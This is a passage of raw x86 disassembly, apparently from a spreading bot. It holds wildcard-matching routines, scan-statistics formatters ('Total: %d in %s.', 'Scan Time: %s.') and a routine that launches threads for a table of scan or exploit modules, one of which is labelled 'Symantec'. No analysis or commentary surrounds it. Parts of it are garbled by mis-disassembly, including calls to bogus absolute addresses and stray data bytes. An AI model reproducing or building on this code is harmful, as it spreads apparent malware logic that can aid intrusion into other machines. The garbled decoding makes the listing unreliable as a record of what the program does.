		cmp	cl, dl
		setz	al


loc_40B747:				; CODE XREF: sub_40B713+26j
		inc	[ebp+arg_4]
		jmp	short loc_40B777
; ---------------------------------------------------------------------------


loc_40B74C:				; CODE XREF: sub_40B713+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_40B7A9
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_40B777
; ---------------------------------------------------------------------------


loc_40B764:				; CODE XREF: sub_40B713+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40B841
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_40B777:				; CODE XREF: sub_40B713+37j
					; sub_40B713+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B71D
; ---------------------------------------------------------------------------


loc_40B77D:				; CODE XREF: sub_40B713+Ej
					; sub_40B713+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_40B78D
		cmp	eax, 1
		jnz	short loc_40B7A4
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B77D
; ---------------------------------------------------------------------------


loc_40B78D:				; CODE XREF: sub_40B713+6Dj
		cmp	eax, 1
		jnz	short loc_40B7A4
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_40B7A4
		cmp	byte ptr [esi],	0
		jnz	short loc_40B7A4
		push	1
		pop	eax
		jmp	short loc_40B7A6
; ---------------------------------------------------------------------------


loc_40B7A4:				; CODE XREF: sub_40B713+72j
					; sub_40B713+7Dj ...
		xor	eax, eax


loc_40B7A6:				; CODE XREF: sub_40B713+8Fj
		pop	esi
		pop	ebp
		retn
sub_40B713	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B7A9	proc near		; CODE XREF: sub_40B713+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_40B7CA
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_40B7CA:				; CODE XREF: sub_40B7A9+19j
		push	ebx
		push	esi


loc_40B7CC:				; CODE XREF: sub_40B7A9+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_40B7DA
		cmp	[ebp+var_4], eax
		jnz	short loc_40B826


loc_40B7DA:				; CODE XREF: sub_40B7A9+2Aj
		test	edi, edi
		jnz	short loc_40B81B
		cmp	bl, 2Dh
		jnz	short loc_40B80F
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_40B80F
		cmp	al, 5Dh
		jz	short loc_40B80F
		cmp	[ebp+var_4], edi
		jnz	short loc_40B80F
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_40B81B
		cmp	bl, al
		jg	short loc_40B81B
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_40B81B
; ---------------------------------------------------------------------------


loc_40B80F:				; CODE XREF: sub_40B7A9+38j
					; sub_40B7A9+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_40B81B
		push	1
		pop	edi


loc_40B81B:				; CODE XREF: sub_40B7A9+33j
					; sub_40B7A9+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_40B7CC
; ---------------------------------------------------------------------------


loc_40B826:				; CODE XREF: sub_40B7A9+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_40B833
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_40B833:				; CODE XREF: sub_40B7A9+82j
		cmp	edi, eax
		jnz	short loc_40B83C
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_40B83C:				; CODE XREF: sub_40B7A9+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_40B7A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B841	proc near		; CODE XREF: sub_40B713+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx


loc_40B85D:				; CODE XREF: sub_40B841+3Aj
		cmp	[eax], bl
		jz	short loc_40B87D
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_40B872
		cmp	cl, 2Ah
		jnz	short loc_40B87D
		cmp	cl, 3Fh
		jnz	short loc_40B875


loc_40B872:				; CODE XREF: sub_40B841+25j
		inc	eax
		mov	[edi], eax


loc_40B875:				; CODE XREF: sub_40B841+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_40B85D
; ---------------------------------------------------------------------------


loc_40B87D:				; CODE XREF: sub_40B841+1Ej
					; sub_40B841+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_40B888
		inc	dword ptr [esi]
		jmp	short loc_40B87D
; ---------------------------------------------------------------------------


loc_40B888:				; CODE XREF: sub_40B841+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_40B8A9
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_40B89A
		xor	eax, eax
		jmp	short loc_40B909
; ---------------------------------------------------------------------------


loc_40B89A:				; CODE XREF: sub_40B841+53j
		cmp	cl, bl
		jnz	short loc_40B8A9
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_40B8A9
		push	1
		pop	eax
		jmp	short loc_40B909
; ---------------------------------------------------------------------------


loc_40B8A9:				; CODE XREF: sub_40B841+4Dj
					; sub_40B841+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_40B713
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B8F3


loc_40B8B7:				; CODE XREF: sub_40B841+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]


loc_40B8BB:				; CODE XREF: sub_40B841+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_40B8D3
		cmp	cl, 5Bh
		jz	short loc_40B8D3
		cmp	dl, bl
		jz	short loc_40B8D3
		inc	eax
		mov	[edi], eax
		jmp	short loc_40B8BB
; ---------------------------------------------------------------------------


loc_40B8D3:				; CODE XREF: sub_40B841+82j
					; sub_40B841+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_40B8EA
		push	eax
		push	dword ptr [esi]
		call	sub_40B713
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B8EF
; ---------------------------------------------------------------------------


loc_40B8EA:				; CODE XREF: sub_40B841+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_40B8EF:				; CODE XREF: sub_40B841+A7j
		cmp	eax, ebx
		jnz	short loc_40B8B7


loc_40B8F3:				; CODE XREF: sub_40B841+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_40B906
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_40B906
		mov	[ebp+var_4], 1


loc_40B906:				; CODE XREF: sub_40B841+B6j
					; sub_40B841+BCj
		mov	eax, [ebp+var_4]


loc_40B909:				; CODE XREF: sub_40B841+57j
					; sub_40B841+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B841	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B90E	proc near		; CODE XREF: sub_401ACD+2AB2p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_431B94
		push	eax
		xor	ebx, ebx
		call	sub_41C266
		cmp	dword_4317F8, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40B980
		push	esi
		mov	esi, offset dword_431800


loc_40B941:				; CODE XREF: sub_40B90E+6Fj
		mov	eax, [esi]
		test	eax, eax
		jbe	short loc_40B976
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset dword_431B88
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41CBC0
		add	esp, 1Ch


loc_40B976:				; CODE XREF: sub_40B90E+37j
		add	esi, 40h
		cmp	dword ptr [esi-8], 0
		jnz	short loc_40B941
		pop	esi


loc_40B980:				; CODE XREF: sub_40B90E+2Bj
		push	dword_4CB714
		call	sub_41ADD8
		pop	ecx
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41CBC0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		add	esp, 34h
		pop	edi
		pop	ebx
		leave
		retn
sub_40B90E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B9DD	proc near		; CODE XREF: sub_401ACD+2A9Cp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, dword_4CE4E0
		mov	ecx, dword_4CE4DC
		push	esi
		push	dword_4CB714
		lea	esi, [ecx+eax]
		call	sub_41ADD8
		pop	ecx
		push	eax
		push	esi
		push	dword_4CE4E0
		lea	eax, [ebp+var_200]
		push	dword_4CE4DC
		push	offset unk_431BB4
		push	eax
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		add	esp, 30h
		pop	esi
		leave
		retn
sub_40B9DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA49	proc near		; CODE XREF: sub_401ACD+2A86p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	dword_4CB714
		call	sub_41ADD8
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	dword_4CE718
		push	offset unk_431BFC
		push	eax
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		add	esp, 28h
		leave
		retn
sub_40BA49	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA9E	proc near		; CODE XREF: sub_401ACD+2A70p

var_1000	= byte ptr -1000h
var_800		= byte ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41C500
		push	edi
		lea	eax, [ebp+var_800]
		push	offset dword_431C48
		push	eax
		call	sub_41C266
		cmp	dword_4317F8, 0
		pop	ecx
		pop	ecx
		mov	edi, 800h
		jz	short loc_40BB0A
		push	esi
		mov	esi, offset aSymantec ;	"Symantec"


loc_40BAD3:				; CODE XREF: sub_40BA9E+69j
		lea	eax, [esi-0Ah]
		push	eax
		push	esi
		lea	eax, [ebp+var_1000]
		push	offset dword_431C38
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41CBC0
		add	esi, 40h
		add	esp, 1Ch
		cmp	dword ptr [esi+1Eh], 0
		jnz	short loc_40BAD3
		pop	esi


loc_40BB0A:				; CODE XREF: sub_40BA9E+2Dj
		push	dword_4CB714
		call	sub_41ADD8
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1000]
		push	offset aScanTimeS_ ; " Scan Time: %s."
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41CBC0
		push	0
		lea	eax, [ebp+var_800]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_415D38
		add	esp, 30h
		pop	edi
		leave
		retn
sub_40BA9E	endp

; ---------------------------------------------------------------------------
byte_40BB65	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+309Ao
; ---------------------------------------------------------------------------
		sub	esp, 3F0h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Bh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-134h]
		rep movsd
		mov	dword ptr [eax+128h], 1
		lea	eax, [ebp-134h]
		push	eax
		call	dword_4CBA14
		xor	edi, edi
		mov	[ebp-8], eax
		cmp	dword_4317F8, edi
		mov	[ebp-4], edi
		mov	[ebp+8], edi
		jz	loc_40BCC7
		mov	ebx, offset dword_4317F8
		mov	eax, ebx


loc_40BBB6:				; CODE XREF: ___:0040BCC1j
		push	dword ptr [ebp-1Ch]
		push	dword ptr [eax]
		push	dword ptr [ebp-8]
		call	sub_40C34B
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_40BCB7
		push	dword ptr [ebx]
		lea	esi, [ebx-28h]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [esi+0Ah]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_431C98
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409869
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_415D38
		add	esp, 2Ch
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-1ECh]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp-15Ch]
		pop	ecx
		push	esi
		push	eax
		call	sub_41C266
		cmp	byte ptr [ebp-0A4h], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp-0A4h]
		jnz	short loc_40BC52
		lea	eax, [ebp-124h]


loc_40BC52:				; CODE XREF: ___:0040BC4Aj
		push	eax
		lea	eax, [ebp-1DCh]
		push	eax
		call	sub_41C266
		mov	eax, [ebp-24h]
		pop	ecx
		mov	[ebp-1F0h], eax
		mov	eax, [ebp-14h]
		mov	[ebp-140h], eax
		mov	eax, [ebp-10h]
		pop	ecx
		mov	[ebp-13Ch], eax
		mov	eax, [ebx]
		sub	esp, 0BCh
		mov	[ebp-150h], eax
		mov	eax, [ebp-18h]
		push	2Fh
		mov	[ebp-14Ch], eax
		mov	eax, [ebp+8]
		pop	ecx
		lea	esi, [ebp-1F0h]
		mov	edi, esp
		mov	[ebp-148h], eax
		rep movsd
		call	dword ptr [ebx+4]
		add	esp, 0BCh
		inc	dword ptr [ebp-4]
		xor	edi, edi


loc_40BCB7:				; CODE XREF: ___:0040BBC9j
		inc	dword ptr [ebp+8]
		add	ebx, 40h
		mov	eax, ebx
		cmp	[ebx], edi
		jnz	loc_40BBB6


loc_40BCC7:				; CODE XREF: ___:0040BBA9j
		push	dword ptr [ebp-4]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_431C64
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409869
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_415D38
		push	dword ptr [ebp-18h]
		call	sub_40B6D6
		add	esp, 2Ch
		push	edi
		nop
; ---------------------------------------------------------------------------
		db 0E8h, 0E6h, 42h
; ---------------------------------------------------------------------------
		xor	[edx], al

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BD1A	proc near		; CODE XREF: sub_401ACD+23F4p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	0Bh
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_40BD56
		mov	eax, [ebp+arg_C]
		push	dword_4CBB20[eax*8]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_431CE8
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	short loc_40BD69
; ---------------------------------------------------------------------------


loc_40BD56:				; CODE XREF: sub_40BD1A+13j
		lea	eax, [ebp+var_200]
		push	offset unk_431CC8
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_40BD69:				; CODE XREF: sub_40BD1A+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		add	esp, 18h
		leave
		retn
sub_40BD1A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BD91	proc near		; CODE XREF: sub_40C3E8+267p

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_40C263
		shl	eax, 6
		xor	ebx, ebx
		cmp	dword_431804[eax], ebx
		jz	loc_40C263
		push	5
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jnz	loc_40C018
		mov	eax, dword_429078
		push	edi
		mov	esi, offset dword_4CDBDC
		push	104h
		push	esi
		push	ebx
		mov	dword_4CDDEC, eax
		mov	dword_4CDDE8, ebx
		call	near ptr 2690000h
		nop
		mov	edi, offset byte_429108
		push	103h
		push	edi
		push	offset dword_4CDCE0
		call	sub_41BFD0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CDBD8, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_4CDE70, eax
		jnz	short loc_40BE44
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CDDF0
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CDE74, 1
		jmp	short loc_40BE5E
; ---------------------------------------------------------------------------


loc_40BE44:				; CODE XREF: sub_40BD91+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CDDF0
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CDE74, ebx


loc_40BE5E:				; CODE XREF: sub_40BD91+B1j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CDDEC
		push	offset unk_42C204
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	dword_4CDDE4, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CDBD8
		push	offset byte_412197
		push	ebx
		push	ebx
		nop
		call	near ptr 26A06F9h
		mov	ecx, dword_4CDDE4
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40BECC


loc_40BEBA:				; CODE XREF: sub_40BD91+139j
		cmp	dword_4CDE78, ebx
		jnz	short loc_40BEE7
		push	32h
		nop
		call	near ptr 26A068Bh
		jmp	short loc_40BEBA
; ---------------------------------------------------------------------------


loc_40BECC:				; CODE XREF: sub_40BD91+127j
		call	near ptr 26B0669h
		nop
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431E08
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40BEE7:				; CODE XREF: sub_40BD91+12Fj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415D38
		mov	eax, dword_4CB710
		mov	esi, offset dword_4CDE84
		mov	[esp+210h+var_210], 104h
		push	esi
		push	ebx
		mov	dword_4CE094, eax
		mov	dword_4CE090, ebx
		nop
		call	near ptr 2690000h
		push	103h
		push	edi
		push	offset dword_4CDF88
		call	sub_41BFD0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CDE80, eax
		mov	eax, [ebp+arg_138]
		pop	edi
		mov	dword_4CE118, eax
		push	7Fh
		jnz	short loc_40BF68
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CE098
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CE11C, 1
		jmp	short loc_40BF82
; ---------------------------------------------------------------------------


loc_40BF68:				; CODE XREF: sub_40BD91+1B8j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CE098
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CE11C, ebx


loc_40BF82:				; CODE XREF: sub_40BD91+1D5j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CE094
		push	offset unk_431DD4
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	dword_4CE08C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CDE80
		push	offset word_40F3AA
		push	ebx
		push	ebx
		call	near ptr 26A06F9h
		nop
		mov	ecx, dword_4CE08C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40BFF0


loc_40BFDE:				; CODE XREF: sub_40BD91+25Dj
		cmp	dword_4CE120, ebx
		jnz	short loc_40C00B
		push	32h
		call	near ptr 26A068Bh
		nop
		jmp	short loc_40BFDE
; ---------------------------------------------------------------------------


loc_40BFF0:				; CODE XREF: sub_40BD91+24Bj
		call	near ptr 26B0669h
		nop
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431DA0
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40C00B:				; CODE XREF: sub_40BD91+253j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415D38
		pop	ecx


loc_40C018:				; CODE XREF: sub_40BD91+35j
		mov	eax, [ebp+arg_130]
		mov	ecx, eax
		shl	ecx, 6
		cmp	dword_43180C[ecx], ebx
		jz	loc_40C141
		push	7
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jnz	loc_40C13B
		mov	eax, dword_4CE710
		cmp	[ebp+arg_90], bl
		mov	dword_4CDB44, eax
		mov	eax, [ebp+arg_110]
		mov	dword_4CDB38, eax
		mov	eax, [ebp+arg_138]
		mov	dword_4CDB40, ebx
		mov	dword_4CDBC8, eax
		push	7Fh
		jnz	short loc_40C08C
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CDB48
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CDBCC, 1
		jmp	short loc_40C0A6
; ---------------------------------------------------------------------------


loc_40C08C:				; CODE XREF: sub_40BD91+2DCj
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CDB48
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CDBCC, ebx


loc_40C0A6:				; CODE XREF: sub_40BD91+2F9j
		push	dword_4CDB44
		lea	eax, [ebp+var_204]
		push	offset unk_431D70
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_204]
		push	7
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	dword_4CDB3C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CDB38
		push	offset dword_40F108
		push	ebx
		push	ebx
		nop
		call	near ptr 26A06F9h
		mov	ecx, dword_4CDB3C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40C113


loc_40C101:				; CODE XREF: sub_40BD91+380j
		cmp	dword_4CDBD0, ebx
		jnz	short loc_40C12E
		push	32h
		nop
		call	near ptr 26A068Bh
		jmp	short loc_40C101
; ---------------------------------------------------------------------------


loc_40C113:				; CODE XREF: sub_40BD91+36Ej
		nop
		call	near ptr 26B0669h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431D38
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40C12E:				; CODE XREF: sub_40BD91+376j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415D38
		pop	ecx


loc_40C13B:				; CODE XREF: sub_40BD91+2A8j
		mov	eax, [ebp+arg_130]


loc_40C141:				; CODE XREF: sub_40BD91+298j
		shl	eax, 6
		cmp	dword_431808[eax], ebx
		jz	loc_40C263
		push	3
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jnz	loc_40C263
		mov	esi, offset dword_4CE3B4
		push	104h
		push	esi
		push	ebx
		nop
		call	near ptr 2690000h
		push	5Ch
		push	esi
		call	sub_41C820
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40C182
		mov	[eax], bl


loc_40C182:				; CODE XREF: sub_40BD91+3EDj
		mov	eax, dword_42907C
		mov	dword_4CE4CC, ebx
		mov	dword_4CE4B8, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CE12C
		call	sub_41C266
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_4CE128, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_4CE4B8
		mov	dword_4CE4C4, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_4CE4C8, ecx
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42C18C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	dword_4CE4C0, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CE128
		push	offset sub_40FAD6
		push	ebx
		push	ebx
		nop
		call	near ptr 26A06F9h
		mov	ecx, dword_4CE4C0
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40C23B


loc_40C229:				; CODE XREF: sub_40BD91+4A8j
		cmp	dword_4CE4D4, ebx
		jnz	short loc_40C256
		push	32h
		call	near ptr 26A068Bh
		nop
		jmp	short loc_40C229
; ---------------------------------------------------------------------------


loc_40C23B:				; CODE XREF: sub_40BD91+496j
		nop
		call	near ptr 26B0669h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431D04
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40C256:				; CODE XREF: sub_40BD91+49Ej
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415D38
		pop	ecx


loc_40C263:				; CODE XREF: sub_40BD91+14j
					; sub_40BD91+25j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_40BD91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C267	proc near		; CODE XREF: sub_40C3E8:loc_40C459p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:4CBB20h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4CB8FC
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4CB9D0
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_41CD20
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40C267	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C2AF	proc near		; CODE XREF: sub_40C3E8+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_41B9C0
		cmp	eax, 0Fh
